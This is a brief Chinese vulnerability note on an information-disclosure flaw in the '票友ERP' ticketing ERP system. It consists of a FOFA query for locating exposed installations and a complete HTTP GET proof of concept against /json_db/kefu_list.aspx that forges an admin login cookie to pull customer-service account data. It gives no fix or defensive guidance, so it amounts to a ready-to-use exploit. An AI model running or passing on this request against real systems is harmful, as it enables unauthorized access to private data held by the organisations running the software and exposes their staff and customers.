票友ERP系统kefu_list存在信息泄露

fofa：

(body="css/sexybuttons.css" && body="Ajax/confirm.ashx") || title="票友ERP"||body="tickets/intCity.css"

poc：

GET /json_db/kefu_list.aspx?stype=0&_search=false&nd=1751246532981&rows=25&page=1&sidx=id&sord=asc HTTP/1.1
Host: <target-host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3029.68 Safari/537.36
Cookie: pyerpcookie=loginname=admin